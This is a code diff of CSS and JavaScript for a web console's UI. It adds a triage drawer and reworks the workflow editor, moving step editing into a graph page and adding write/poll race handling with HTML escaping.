:is([data-packs],[data-workflows]) :is(button,select,input,textarea):focus-visible{outline:2px solid var(--focus);outline-offset:2px}
|
||||
:is([data-packs],[data-workflows]) [role=status]{overflow-wrap:anywhere}
|
||||
[data-packs] label{display:flex;flex-direction:column;gap:6px;min-width:0}
|
||||
[data-packs] :is(select,input,textarea){width:100%;box-sizing:border-box;min-height:44px;padding:8px 12px;border:1px solid var(--border);border-radius:var(--r);background:var(--canvas);color:var(--text);font:inherit}
|
||||
[data-packs] .btn{min-height:44px;margin:4px 8px 4px 0}
|
||||
[data-packs] :is(button,select,input,textarea):focus-visible{outline:2px solid var(--focus);outline-offset:2px}
|
||||
[data-packs] [role=status]{overflow-wrap:anywhere}
|
||||
.pack-applied{border-left:3px solid var(--border);padding:4px 0 4px 12px;margin:8px 0}
|
||||
.pack-applied p{margin:0 0 6px}
|
||||
.pack-open{list-style:none;margin:6px 0 8px;padding:0}
|
||||
|
||||
@@ -810,3 +810,54 @@ html[data-organizations] .ws-drawer-acts .note{flex-basis:100%}
|
||||
html[data-organizations] .ws-av.mob{display:inline-grid;margin-right:6px;vertical-align:-3px}
|
||||
html[data-organizations] .ws-tbl .t2.mono.hide-m{display:none}
|
||||
}
|
||||
/* #1873 triage-drawer: the owner's Triage drawer, in the agent drawer family. It sits above an open
|
||||
agent drawer, keeps its own header and message box in view, and scrolls the conversation alone. */
|
||||
#triage-drawer{position:fixed;top:var(--bar-h,52px);right:0;bottom:0;width:min(440px,100vw);z-index:41;display:flex;flex-direction:column;overflow:hidden;background:var(--surface);color:var(--text);border-left:1px solid var(--line);box-shadow:-8px 0 24px color-mix(in srgb,#000 14%,transparent)}
|
||||
#triage-drawer[hidden]{display:none}
|
||||
#triage-drawer .hd{display:flex;align-items:center;gap:8px;padding:12px 14px 12px 17px;border-bottom:1px solid var(--line);flex:none;box-shadow:inset 4px 0 0 var(--action)}
|
||||
#triage-drawer h2{margin:0;font-size:18px;font-weight:800;color:var(--strong)}
|
||||
#triage-drawer h2:focus{outline:none}
|
||||
#triage-drawer .x{margin-left:auto;flex:none;width:32px;height:32px;border:1px solid var(--line);border-radius:6px;background:var(--canvas);color:var(--strong);font-size:20px;line-height:1;cursor:pointer}
|
||||
#triage-drawer .triage-state{margin:0;padding:10px 14px;flex:none;font-size:14px;font-weight:600;color:var(--strong);border-bottom:1px solid var(--line);overflow-wrap:anywhere}
|
||||
#triage-drawer .triage-state[data-kind=off],#triage-drawer .triage-state[data-kind=cap]{color:var(--warning);background:color-mix(in srgb,var(--warning) 9%,var(--surface))}
|
||||
#triage-drawer .triage-state[data-kind=running]::before{content:"";display:inline-block;width:8px;height:8px;margin-right:7px;border-radius:50%;background:var(--success);vertical-align:1px}
|
||||
#triage-drawer .triage-health-sec{flex:none;padding:8px 14px;border-bottom:1px solid var(--line)}
|
||||
#triage-drawer .triage-health-sec summary{cursor:pointer;font:700 11px/1.6 var(--font);letter-spacing:.06em;text-transform:uppercase;color:var(--muted)}
|
||||
#triage-drawer .triage-health{list-style:none;margin:6px 0 0;padding:0;display:grid;gap:3px;max-height:24vh;overflow:auto;font-size:12.5px;color:var(--strong)}
|
||||
#triage-drawer .triage-health li{overflow-wrap:anywhere;padding-left:12px;position:relative}
|
||||
#triage-drawer .triage-health li::before{content:"";position:absolute;left:0;top:.5em;width:6px;height:6px;border-radius:50%;background:var(--line)}
|
||||
#triage-drawer .triage-health li.not-read{color:var(--muted)}
|
||||
#triage-drawer .triage-convo-title{margin:0;padding:10px 14px 4px;flex:none;font:700 11px/1.3 var(--font);letter-spacing:.06em;text-transform:uppercase;color:var(--muted)}
|
||||
#triage-drawer .triage-transcript{list-style:none;margin:0;padding:4px 14px 12px;flex:1 1 auto;min-height:120px;overflow:auto;overscroll-behavior:contain;display:flex;flex-direction:column;gap:8px}
|
||||
#triage-drawer .triage-transcript:focus-visible{outline:2px solid var(--action);outline-offset:-2px}
|
||||
#triage-drawer .triage-msg{border:1px solid var(--line);border-radius:8px;padding:8px 10px;background:var(--canvas);font-size:13.5px;overflow-wrap:anywhere}
|
||||
#triage-drawer .triage-msg.from-owner{background:color-mix(in srgb,var(--action) 8%,var(--surface));border-color:color-mix(in srgb,var(--action) 30%,var(--line))}
|
||||
#triage-drawer .triage-msg.from-host,#triage-drawer .triage-msg.from-other{background:transparent;border-style:dashed;color:var(--muted)}
|
||||
#triage-drawer .triage-msg-head{display:flex;gap:8px;align-items:baseline;margin-bottom:3px}
|
||||
#triage-drawer .triage-msg-head strong{color:var(--strong);font-size:13px}
|
||||
#triage-drawer .triage-when{font-size:11.5px;color:var(--muted)}
|
||||
#triage-drawer .triage-reply{margin:0 0 4px;padding-left:8px;border-left:3px solid var(--line);font-size:12.5px;color:var(--muted)}
|
||||
#triage-drawer .triage-text-body{margin:0;white-space:pre-wrap;color:var(--strong)}
|
||||
#triage-drawer .from-host .triage-text-body,#triage-drawer .from-other .triage-text-body{color:inherit}
|
||||
#triage-drawer .triage-cards{list-style:none;margin:8px 0 0;padding:0;display:grid;gap:6px}
|
||||
#triage-drawer .triage-card{display:grid;gap:4px;border:1px solid var(--line);border-radius:6px;padding:6px 8px;background:var(--surface)}
|
||||
#triage-drawer .triage-card-meta{font-size:12px;color:var(--muted)}
|
||||
#triage-drawer .triage-card-cmd{display:block;font:12px/1.5 var(--mono);color:var(--strong);white-space:pre-wrap;overflow-wrap:anywhere;user-select:all}
|
||||
#triage-drawer .triage-dropped{margin:6px 0 0;font-size:12px;color:var(--warning)}
|
||||
#triage-drawer .triage-empty{color:var(--muted);font-size:13px}
|
||||
#triage-drawer .triage-compose{flex:none;display:grid;gap:6px;padding:10px 14px 14px;border-top:1px solid var(--line);background:var(--surface)}
|
||||
#triage-drawer .triage-label{font-size:12px;font-weight:700;color:var(--muted)}
|
||||
#triage-drawer .triage-text{width:100%;box-sizing:border-box;min-height:64px;max-height:30vh;resize:vertical;padding:8px 10px;border:1px solid var(--line);border-radius:6px;background:var(--canvas);color:var(--strong);font:14px/1.45 var(--font)}
|
||||
#triage-drawer .triage-text:disabled{opacity:.6;cursor:not-allowed}
|
||||
#triage-drawer .triage-send-row{display:flex;align-items:center;gap:10px}
|
||||
#triage-drawer .triage-send{display:inline-flex;align-items:center;min-height:36px;padding:4px 16px;border:1px solid var(--action);border-radius:var(--r,6px);background:var(--action);color:var(--canvas);font:700 13px/1.4 var(--font);cursor:pointer}
|
||||
#triage-drawer .triage-send:disabled{background:var(--raised);border-color:var(--line);color:var(--muted);cursor:not-allowed}
|
||||
#triage-drawer .triage-hint{font-size:12px;color:var(--muted)}
|
||||
#triage-drawer .note{margin:0;font-size:12.5px;color:var(--warning)}
|
||||
#triage-drawer .note:empty,#triage-drawer .triage-send-status:empty{display:none}
|
||||
#triage-drawer .triage-send-status{margin:0;font-size:13px;color:var(--strong)}
|
||||
#triage-drawer .triage-send-status[data-kind=refused]{color:var(--danger)}
|
||||
#triage-drawer .triage-send-status[data-kind=unknown]{color:var(--warning)}
|
||||
#triage-drawer .triage-send-status[data-kind=ok]{color:var(--success)}
|
||||
@media (min-width:1200px){body:has(#triage-drawer:not([hidden])) .content{padding-right:calc(440px + 22px)}}
|
||||
@media (max-width:700px){#triage-drawer{top:0;left:0;width:auto;border-left:0;box-shadow:none;z-index:60}html:has(#triage-drawer:not([hidden])),body:has(#triage-drawer:not([hidden])){overflow:hidden}#triage-drawer .triage-health{max-height:18vh}}
|
||||
@@ -52,14 +52,23 @@
|
||||
.wfg-cardlist a{display:block;padding:8px 0;color:var(--text);text-decoration:none;overflow-wrap:anywhere}
|
||||
.wfg-cardlist a:hover strong{text-decoration:underline}
|
||||
.wfg-cardlist strong{color:var(--action,var(--accent))}
|
||||
/* SP17: each step of a workflow as a link to its form, under the workflow's link. */
|
||||
.wfg-cardlist .wfg-card-steps{list-style:none;display:flex;flex-wrap:wrap;gap:2px 0;margin:-4px 0 0;padding:0 0 8px;font-size:13px}
|
||||
.wfg-cardlist .wfg-card-steps li{display:inline-flex;align-items:center;border:0}
|
||||
.wfg-cardlist .wfg-card-steps li+li::before{content:"\2192";color:var(--muted);padding:0 6px}
|
||||
.wfg-cardlist .wfg-card-steps a{display:inline-block;padding:4px 0;color:var(--action,var(--accent));text-decoration:underline;text-decoration-color:color-mix(in srgb,currentColor 40%,transparent);text-underline-offset:2px}
|
||||
.wfg-cardlist .wfg-card-steps a:hover{text-decoration-color:currentColor}
|
||||
.wfg-card [data-wfg-none]{margin:0 0 8px}
|
||||
.wfg-card p:last-child{margin-bottom:0}
|
||||
|
||||
/* SP10 (#1873): editing a workflow in its graph. The bar above the graph holds Unsaved, Discard, Save and
|
||||
Delete workflow; the step panel holds the step actions and the step form; the list page holds New workflow. */
|
||||
/* SP10 (#1873): editing a workflow in its graph. The bar above the graph holds Unsaved, Discard and Delete
|
||||
workflow; the step panel holds the step's form with Save (SP17) and the step actions; the list page holds
|
||||
New workflow. */
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-step-acts,.wfg-form,.wfg-new) .ws-btn{min-height:32px}
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-form) .ws-btn.primary{background:var(--action);color:var(--onAction);border-color:var(--action)}
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-form) .ws-btn.primary:hover:not(:disabled){background:color-mix(in srgb,var(--action) 88%,var(--strong))}
|
||||
/* SP17 shots: a Save with nothing to save reads as off, not as the action colour. */
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-form) .ws-btn.primary:disabled{background:var(--raised);color:var(--muted);border-color:var(--line)}
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-step-acts) .ws-btn.danger{color:var(--danger)}
|
||||
html[data-organizations] :is(.wfg-bar,.wfg-step-acts,.wfg-form,.wfg-new) .ws-btn:focus-visible{outline:2px solid var(--focus);outline-offset:2px}
|
||||
.wfg-bar{display:flex;flex-wrap:wrap;align-items:center;gap:8px 12px;margin:0 0 10px}
|
||||
@@ -75,6 +84,11 @@ html[data-organizations] :is(.wfg-bar,.wfg-step-acts,.wfg-form,.wfg-new) .ws-btn
|
||||
.wfg-form h2{margin:0}
|
||||
.wfg-form h3{font-size:14px;margin:6px 0 0}
|
||||
.wfg-form>label,.wfg-form label:has(>select){display:grid;gap:4px;font-size:13px;color:var(--muted)}
|
||||
.wfg-form [hidden]{display:none!important}
|
||||
.wfg-form textarea{font:14px/1.4 var(--font);color:var(--text);background:var(--canvas);border:1px solid var(--line);border-radius:6px;padding:6px 8px;min-width:0;max-width:100%;resize:vertical}
|
||||
.wfg-form>label:has(>textarea){display:grid;gap:4px;font-size:13px;color:var(--muted)}
|
||||
.wfg-form textarea:focus-visible{outline:2px solid var(--focus);outline-offset:1px}
|
||||
.wfg-stepform,.wfg-metaform{margin:0 0 14px}
|
||||
.wfg-form input:not([type=checkbox]),.wfg-form select{font:14px/1.4 var(--font);color:var(--text);background:var(--canvas);border:1px solid var(--line);border-radius:6px;padding:6px 8px;min-width:0;max-width:100%}
|
||||
.wfg-form :is(input,select):focus-visible{outline:2px solid var(--focus);outline-offset:1px}
|
||||
.wfg-form .note{margin:0}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
// Starter packs SP6 (#1873, design section 8): the owner's workflow list and editor on an
|
||||
// organization's page. GET /api/orgs/<id>/workflows reads the org's and each code project's workflows
|
||||
// with the file revision; a save is POST .../workflows/<name> {revision, workflow, project?} and a delete
|
||||
// DELETE .../workflows/<name> {revision, project?} (workflow.set.console). The bus checks the shape; this
|
||||
// page marks a step role that resolves to no org definition or role template (and is not `human`) as
|
||||
// naming no current role. Every organization-supplied string goes through esc.
|
||||
// Starter packs SP6 (#1873, design section 8): an organization's workflows. GET /api/orgs/<id>/workflows reads
|
||||
// the org's and each code project's workflows with the file revision; a save is POST .../workflows/<name>
|
||||
// {revision, workflow, project?} and a delete DELETE .../workflows/<name> {revision, project?}
|
||||
// (workflow.set.console). The bus checks the shape; this page marks a step role that resolves to no org
|
||||
// definition or role template (and is not `human`) as naming no current role. Every organization-supplied
|
||||
// string goes through esc.
|
||||
// SP17: the graph page is the one editor. The organization page's old form editor is gone; its card links to
|
||||
// each workflow and each step, and a step's panel is its edit form with Save.
|
||||
(() => {
|
||||
'use strict';
|
||||
const esc = x => String(x ?? '').replace(/[&<>"']/g, c => ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[c]));
|
||||
@@ -38,97 +40,47 @@
|
||||
return value;
|
||||
}
|
||||
const plain = v => v !== null && typeof v === 'object' && !Array.isArray(v);
|
||||
// #1873: the templates no organization may hold (organization vocabulary SYSTEM_ONLY). The read may still
|
||||
// list them; a step role never resolves to one and the picker never offers one.
|
||||
const SYSTEM_ONLY = ['triage'];
|
||||
const offered = list => (list || []).filter(r => !SYSTEM_ONLY.includes(r));
|
||||
async function read(org, s) {
|
||||
const value = await call(`${base(org)}/workflows`, 'GET');
|
||||
if (!plain(value) || !plain(value.workflows) || !plain(value.projects) || !plain(value.roles) || typeof value.revision !== 'string') throw Error('The workflow read returned an unexpected answer.');
|
||||
s.data = value;
|
||||
s.known = new Set([...(value.roles.definitions || []), ...(value.roles.templates || []), 'human']);
|
||||
s.known = new Set([...(value.roles.definitions || []), ...offered(value.roles.templates), 'human']);
|
||||
}
|
||||
// SP17: a write in flight holds the poll. Each organization counts its writes (epoch moves when one starts
|
||||
// and when it ends); a read that began before a write ended, or answers while one is in flight, is dropped
|
||||
// and the page keeps what it has, which the write's answer brings up to date (written()).
|
||||
const writes = new Map();
|
||||
const writeState = org => { if (!writes.has(org)) writes.set(org, { epoch: 0, inflight: 0 }); return writes.get(org); };
|
||||
async function writing(org, fn) {
|
||||
const w = writeState(org);
|
||||
w.epoch++; w.inflight++;
|
||||
try { return await fn(); } finally { w.inflight--; w.epoch++; }
|
||||
}
|
||||
// E2E6 P1-1: a poll reloads the data but keeps the page's own state: an open editor and its draft,
|
||||
// a pending delete confirmation and the last receipt.
|
||||
async function load(org) {
|
||||
const prev = states.get(org);
|
||||
const s = { data: null, known: new Set(), error: null, editing: prev?.editing ?? null, confirm: prev?.confirm ?? null, status: prev?.status ?? '' };
|
||||
try { await read(org, s); } catch (error) {
|
||||
// Review P3: a failed poll while an editor is open keeps the last good read, so the fresh section
|
||||
// still carries its data-live-key and graftLive puts the held section, editor and focus back.
|
||||
if (prev?.editing && prev.data) Object.assign(s, { data: prev.data, known: prev.known });
|
||||
const prev = states.get(org), w = writeState(org), began = w.epoch;
|
||||
const s = { data: null, known: new Set(), error: null };
|
||||
const raced = () => !!prev?.data && (w.inflight > 0 || w.epoch !== began);
|
||||
try { await read(org, s); if (raced()) return; } catch (error) {
|
||||
if (raced()) return;
|
||||
// Review P3: a failed poll while a change to this organization's workflows is held keeps the last good
|
||||
// read, so the page still draws the change and its form, and graftLive puts the held form and focus back.
|
||||
// SP17: the failure is still said; the page draws the last read under that line.
|
||||
if (prev?.data && held(org).length) Object.assign(s, { data: prev.data, known: prev.known, readError: error.message });
|
||||
else s.error = error.message;
|
||||
}
|
||||
states.set(org, s);
|
||||
}
|
||||
const scopes = s => [['', 'Organization', s.data.workflows], ...Object.keys(s.data.projects).sort().map(p => [p, `Project ${p}`, s.data.projects[p]])];
|
||||
const roleChip = (s, role) => s.known.has(role)
|
||||
? `<code>${esc(role)}</code>`
|
||||
: `<code>${esc(role)}</code> <span class="wf-missing" data-wf-missing>${MISSING}</span>`;
|
||||
function stepItem(s, step) {
|
||||
const roles = Array.isArray(step?.roles) ? step.roles : [];
|
||||
return `<li data-wf-step><span>${esc(step?.title)}</span> <span class="muted">${esc(STATE_LABEL[step?.state] ?? step?.state)}</span> <span class="wf-roles">${roles.map(r => roleChip(s, r)).join(', ')}</span></li>`;
|
||||
}
|
||||
function workflowItem(org, s, scope, name, w) {
|
||||
const steps = Array.isArray(w?.steps) ? w.steps : [];
|
||||
const confirm = s.confirm && s.confirm.scope === scope && s.confirm.name === name;
|
||||
const actions = !s.data.writable ? '' : confirm
|
||||
? `<p>Delete this workflow? <button class="btn" type="button" data-wf-delete-yes data-focus-key="${esc(`wf-yes:${scope}:${name}`)}">Delete</button> <button class="btn" type="button" data-wf-delete-no data-focus-key="${esc(`wf-no:${scope}:${name}`)}">Keep</button></p>`
|
||||
: `<p><button class="btn" type="button" data-wf-edit data-focus-key="${esc(`wf-edit:${scope}:${name}`)}">Edit</button> <button class="btn" type="button" data-wf-delete data-focus-key="${esc(`wf-delete:${scope}:${name}`)}">Delete</button></p>`;
|
||||
return `<li class="wf-item" data-wf="${esc(name)}" data-wf-scope="${esc(scope)}"><strong data-wf-title>${esc(w?.title || name)}</strong> <span class="muted"><code>${esc(name)}</code></span>
|
||||
${w?.description ? `<p>${esc(w.description)}</p>` : ''}<ol class="wf-steps">${steps.map(st => stepItem(s, st)).join('')}</ol>${actions}</li>`;
|
||||
}
|
||||
function stepRow(s, step, i) {
|
||||
const roles = step.roles.split(',').map(r => r.trim()).filter(Boolean);
|
||||
const missing = roles.filter(r => !s.known.has(r));
|
||||
return `<fieldset class="wf-step" data-wf-edit-step="${i}"><legend>Step ${i + 1}</legend>
|
||||
<label>Title<input name="title" maxlength="120" value="${esc(step.title)}" autocomplete="off"></label>
|
||||
<label>State<select name="state">${STATES.map(([v, l]) => `<option value="${v}"${step.state === v ? ' selected' : ''}>${esc(l)}</option>`).join('')}</select></label>
|
||||
<label>Roles, separated by commas<input name="roles" value="${esc(step.roles)}" autocomplete="off"></label>
|
||||
<p class="wf-note" data-wf-step-missing>${missing.length ? `${missing.map(r => `<code>${esc(r)}</code>`).join(', ')} ${MISSING}` : ''}</p>
|
||||
<button class="btn" type="button" data-wf-step-remove>Remove step</button></fieldset>`;
|
||||
}
|
||||
function editor(s) {
|
||||
const e = s.editing;
|
||||
if (!e) return '';
|
||||
const scopeField = e.isNew
|
||||
? `<label>Where<select name="scope">${scopes(s).map(([v, l]) => `<option value="${esc(v)}"${e.scope === v ? ' selected' : ''}>${esc(l)}</option>`).join('')}</select></label><label>Name<input name="name" maxlength="64" value="${esc(e.name)}" autocomplete="off" placeholder="lowercase letters, digits, dashes"></label>`
|
||||
: `<p>${e.scope ? `Project ${esc(e.scope)}` : 'Organization'}, <code>${esc(e.name)}</code></p>`;
|
||||
return `<form class="wf-editor" data-wf-editor data-live-hold><h4>${e.isNew ? 'New workflow' : 'Edit workflow'}</h4>${scopeField}
|
||||
<label>Title<input name="title" maxlength="120" value="${esc(e.draft.title)}" autocomplete="off"></label>
|
||||
<label>Description<textarea name="description" maxlength="1000" rows="2">${esc(e.draft.description)}</textarea></label>
|
||||
${e.draft.steps.map((st, i) => stepRow(s, st, i)).join('')}
|
||||
<p><button class="btn" type="button" data-wf-step-add>Add step</button> <button class="btn" type="submit">Save workflow</button> <button class="btn" type="button" data-wf-cancel>Cancel</button></p>
|
||||
<p class="note">Roles name an organization role, a role template, or <code>human</code>.</p></form>`;
|
||||
}
|
||||
function section(org) {
|
||||
const s = states.get(org);
|
||||
if (!s || s.error) return `<section class="panel" data-workflows data-workflows-org="${esc(org)}"><h3>Workflows</h3><p>${esc(s?.error ?? 'Workflows could not be read.')}</p></section>`;
|
||||
const lists = scopes(s).map(([scope, label, flows]) => {
|
||||
const names = Object.keys(flows || {}).sort();
|
||||
return `<div class="wf-scope" data-wf-scope-list="${esc(scope)}"><h4>${esc(label)}</h4>${names.length ? `<ul class="wf-list">${names.map(n => workflowItem(org, s, scope, n, flows[n])).join('')}</ul>` : '<p class="note">No workflows.</p>'}</div>`;
|
||||
}).join('');
|
||||
const add = s.data.writable ? (s.editing ? '' : `<p><button class="btn" type="button" data-wf-new data-focus-key="${esc(`wf-new:${org}`)}">New workflow</button></p>`) : '<p class="note">Only the owner, on a Console started with send, can change workflows.</p>';
|
||||
return `<section class="panel" data-workflows data-workflows-org="${esc(org)}" data-live-key="${esc(`workflows:${org}`)}"><h3>Workflows</h3><p>A workflow lists the steps a task goes through, the state each step puts it in and the roles that do it.</p>${lists}${add}${editor(s)}<p role="status" data-workflows-status>${esc(s.status)}</p></section>`;
|
||||
}
|
||||
function redraw(org) {
|
||||
const el = [...document.querySelectorAll('[data-workflows-org]')].find(n => n.dataset.workflowsOrg === org);
|
||||
if (el) el.outerHTML = section(org);
|
||||
}
|
||||
// The editor's current values back into the draft, so adding or removing a step keeps what was typed.
|
||||
function capture(root, s) {
|
||||
const form = root.querySelector('[data-wf-editor]');
|
||||
if (!form || !s.editing) return;
|
||||
const e = s.editing;
|
||||
if (e.isNew) { e.scope = form.elements.scope?.value ?? e.scope; e.name = form.elements.name?.value ?? e.name; }
|
||||
e.draft.title = form.querySelector(':scope > label > input[name="title"]').value;
|
||||
e.draft.description = form.elements.description.value;
|
||||
e.draft.steps = [...form.querySelectorAll('[data-wf-edit-step]')].map(f => ({ title: f.querySelector('[name="title"]').value, state: f.querySelector('[name="state"]').value, roles: f.querySelector('[name="roles"]').value }));
|
||||
}
|
||||
const flowsIn = (s, scope) => scope ? s.data.projects[scope] : s.data.workflows;
|
||||
const target = (s, scope) => scope ? { project: scope } : {};
|
||||
// SP10: the one check, body and write both editors use, the organization page's form and the graph.
|
||||
// A step is {title, state, roles: [names]}. The order of the checks is the form's: the name, a name the
|
||||
// scope already holds, a role that names no current role, then the shape the bus checks (organization-config
|
||||
// checkWorkflows: 1 to 20 steps, each with a title and 1 to 8 distinct roles), named here before the bus
|
||||
// refuses it in general words.
|
||||
const rolesIn = text => String(text ?? '').split(',').map(r => r.trim()).filter(Boolean);
|
||||
// SP10: the save check. A step is {title, state, roles: [names]}. The order of the checks: the name, a name
|
||||
// the scope already holds, a role that names no current role, then the shape the bus checks
|
||||
// (organization-config checkWorkflows: 1 to 20 steps, each with a title and 1 to 8 distinct roles), named
|
||||
// here before the bus refuses it in general words.
|
||||
function stepRefusal(st, n) {
|
||||
if (!String(st.title ?? '').trim()) return `Step ${n} needs a title.`;
|
||||
if (!st.roles.length) return `Step ${n} needs at least one role.`;
|
||||
@@ -157,74 +109,6 @@
|
||||
// The revision is the one the editor opened on: a change made since then is a revision-conflict, not overwritten.
|
||||
const saveFlow = (org, s, { scope, name, revision, workflow }) => call(flowUrl(org, name), 'POST', { revision, workflow, ...target(s, scope) });
|
||||
const removeFlow = (org, s, { scope, name, revision }) => call(flowUrl(org, name), 'DELETE', { revision, ...target(s, scope) });
|
||||
async function reload(org, s, status) {
|
||||
try { await read(org, s); s.status = status; } catch (error) { s.status = `${status} ${error.message}`; }
|
||||
}
|
||||
document.addEventListener('click', async ev => {
|
||||
const button = ev.target.closest('[data-wf-new],[data-wf-edit],[data-wf-cancel],[data-wf-step-add],[data-wf-step-remove],[data-wf-delete],[data-wf-delete-yes],[data-wf-delete-no]');
|
||||
if (!button) return;
|
||||
const root = button.closest('[data-workflows-org]'), org = root?.dataset.workflowsOrg, s = states.get(org);
|
||||
if (!s?.data) return;
|
||||
const item = button.closest('[data-wf]'), scope = item?.dataset.wfScope ?? '', name = item?.dataset.wf;
|
||||
if (button.hasAttribute('data-wf-new')) {
|
||||
s.editing = { isNew: true, revision: s.data.revision, scope: '', name: '', draft: { title: '', description: '', steps: [{ title: '', state: 'todo', roles: '' }] } };
|
||||
} else if (button.hasAttribute('data-wf-edit')) {
|
||||
const w = flowsIn(s, scope)?.[name];
|
||||
s.editing = { isNew: false, revision: s.data.revision, scope, name, draft: { title: w?.title ?? '', description: w?.description ?? '', steps: (w?.steps ?? []).map(st => ({ title: st.title ?? '', state: st.state ?? 'todo', roles: (st.roles ?? []).join(', ') })) } };
|
||||
} else if (button.hasAttribute('data-wf-cancel')) {
|
||||
s.editing = null;
|
||||
} else if (button.hasAttribute('data-wf-step-add')) {
|
||||
capture(root, s); s.editing.draft.steps.push({ title: '', state: 'todo', roles: '' });
|
||||
} else if (button.hasAttribute('data-wf-step-remove')) {
|
||||
capture(root, s); s.editing.draft.steps.splice(Number(button.closest('[data-wf-edit-step]').dataset.wfEditStep), 1);
|
||||
} else if (button.hasAttribute('data-wf-delete')) {
|
||||
s.confirm = { scope, name };
|
||||
} else if (button.hasAttribute('data-wf-delete-no')) {
|
||||
s.confirm = null;
|
||||
} else if (button.hasAttribute('data-wf-delete-yes')) {
|
||||
button.disabled = true;
|
||||
try {
|
||||
await removeFlow(org, s, { scope, name, revision: s.data.revision });
|
||||
s.confirm = null;
|
||||
await reload(org, s, `Deleted ${name}.`);
|
||||
} catch (error) { s.status = error.message; }
|
||||
}
|
||||
redraw(org);
|
||||
});
|
||||
// Every keystroke goes back into the draft, so any repaint draws what was typed.
|
||||
document.addEventListener('input', ev => {
|
||||
const form = ev.target.closest('[data-wf-editor]'), root = form?.closest('[data-workflows-org]');
|
||||
if (form && root) { const st = states.get(root.dataset.workflowsOrg); if (st?.editing) capture(root, st); }
|
||||
const field = ev.target.closest('[data-wf-edit-step] [name="roles"]');
|
||||
if (!field) return;
|
||||
const s = states.get(field.closest('[data-workflows-org]')?.dataset.workflowsOrg);
|
||||
if (!s) return;
|
||||
const missing = field.value.split(',').map(r => r.trim()).filter(r => r && !s.known.has(r));
|
||||
// textContent and created nodes only: a typed name never becomes markup.
|
||||
const note = field.closest('[data-wf-edit-step]').querySelector('[data-wf-step-missing]');
|
||||
note.textContent = missing.length ? `${missing.join(', ')} ${MISSING}` : '';
|
||||
});
|
||||
document.addEventListener('submit', async ev => {
|
||||
if (!ev.target.matches('[data-wf-editor]')) return;
|
||||
ev.preventDefault();
|
||||
const root = ev.target.closest('[data-workflows-org]'), org = root?.dataset.workflowsOrg, s = states.get(org);
|
||||
if (!s?.editing) return;
|
||||
capture(root, s);
|
||||
const e = s.editing;
|
||||
const draft = { ...e.draft, steps: e.draft.steps.map(st => ({ ...st, roles: rolesIn(st.roles) })) };
|
||||
const why = refusal(s, { isNew: e.isNew, scope: e.scope, name: e.name, steps: draft.steps });
|
||||
if (why) { s.status = why; redraw(org); return; }
|
||||
const workflow = shape(draft);
|
||||
const button = ev.target.querySelector('button[type="submit"]');
|
||||
button.disabled = true;
|
||||
try {
|
||||
await saveFlow(org, s, { scope: e.scope, name: e.name, revision: e.revision ?? s.data.revision, workflow });
|
||||
s.editing = null;
|
||||
await reload(org, s, `Saved ${e.name}.`);
|
||||
} catch (error) { s.status = error.message; }
|
||||
redraw(org);
|
||||
});
|
||||
|
||||
// ---------- SP9 (#1873): the read-only view ----------
|
||||
// #/orgs/<id>/workflows lists the organization's workflows; #/orgs/<id>/workflows/<name>[?project=<p>]
|
||||
// draws one as an inline-SVG graph. The data is the same read as the editor above: each step's title,
|
||||
@@ -373,6 +257,24 @@
|
||||
const same = (a, b) => JSON.stringify(a) === JSON.stringify(b);
|
||||
const changed = d => d.isNew || !same(d.flow, d.base);
|
||||
const editDirty = e => !!e && !same({ title: e.title, state: e.state, roles: e.roles }, e.orig);
|
||||
const pending = d => !!d && (changed(d) || editDirty(d.edit));
|
||||
// The steps as the graph draws them: the pending workflow with the open step's edit as typed.
|
||||
const preview = d => {
|
||||
const e = d?.edit;
|
||||
if (!d) return null;
|
||||
if (e?.mode !== 'edit' || !d.flow.steps[e.i] || !editDirty(e)) return d.flow.steps;
|
||||
return d.flow.steps.map((st, j) => (j === e.i ? { title: e.title.trim() || st.title, state: e.state, roles: [...e.roles] } : st));
|
||||
};
|
||||
// The names of this organization's workflows with a change held on the page.
|
||||
const heldKeys = org => [...drafts].filter(([k, d]) => JSON.parse(k)[0] === org && pending(d)).map(([k]) => JSON.parse(k).slice(1));
|
||||
const held = org => heldKeys(org).map(([, name]) => name);
|
||||
// The organization card's word for a held change (a bus stop or restart keeps it): each held workflow
|
||||
// links back to its page, where the change is as typed.
|
||||
const heldCardNote = org => {
|
||||
const keys = heldKeys(org);
|
||||
if (!keys.length) return '';
|
||||
return `<p class="ws-panel tight note" data-wfg-held>Unsaved change kept on this page: ${keys.map(([scope, name]) => `<a href="${esc(flowHref(org, scope, name))}" data-wfg-held-link data-focus-key="${esc(`wfg-held:${scope}:${name}`)}">${esc(name)}${scope ? ` (project ${esc(scope)})` : ''}</a>`).join(', ')}.</p>`;
|
||||
};
|
||||
const READ_ONLY = 'Only the owner, on a Console started with send, can change workflows.';
|
||||
// The graph's own words for a refusal where the form's would mislead: the change is kept, not lost.
|
||||
const kept = {
|
||||
@@ -391,11 +293,12 @@
|
||||
const now = fresh ? norm(fresh) : null;
|
||||
if (d.isNew) { d.stale = !!fresh; if (!fresh) d.revision = s.data.revision; }
|
||||
else if (now && same(now, d.base)) { d.revision = s.data.revision; d.stale = false; }
|
||||
else if (now && !changed(d)) {
|
||||
else if (now && !changed(d) && !(d.edit?.mode === 'edit' && editDirty(d.edit) && !same(now.steps[d.edit.i], d.base.steps[d.edit.i]))) {
|
||||
// Only other parts changed: take them. A typed step whose step changed elsewhere is stale below instead.
|
||||
Object.assign(d, { base: now, flow: structuredClone(now), revision: s.data.revision, stale: false });
|
||||
if (d.edit?.mode === 'edit' && d.edit.i >= now.steps.length) d.edit = null;
|
||||
} else d.stale = true;
|
||||
if (!changed(d) && !d.edit && !d.confirm && !d.status) { drafts.delete(key); return null; }
|
||||
if (!changed(d) && (!d.edit || (d.edit.mode === 'edit' && !editDirty(d.edit))) && !d.confirm && !d.status) { drafts.delete(key); return null; }
|
||||
return d;
|
||||
}
|
||||
function draftFor(org, s, scope, name) {
|
||||
@@ -410,58 +313,94 @@
|
||||
}
|
||||
// The role picker: human, the organization's roles, the role templates, and first any role the step names
|
||||
// that resolves to none of those (checked and marked, so leaving it in is a choice the save check names).
|
||||
function rolePick(s, chosen, prefix) {
|
||||
const defs = [...(s.data.roles.definitions || [])].sort(), tpl = [...(s.data.roles.templates || [])].filter(r => !defs.includes(r)).sort();
|
||||
function rolePick(s, chosen, prefix, off = false) {
|
||||
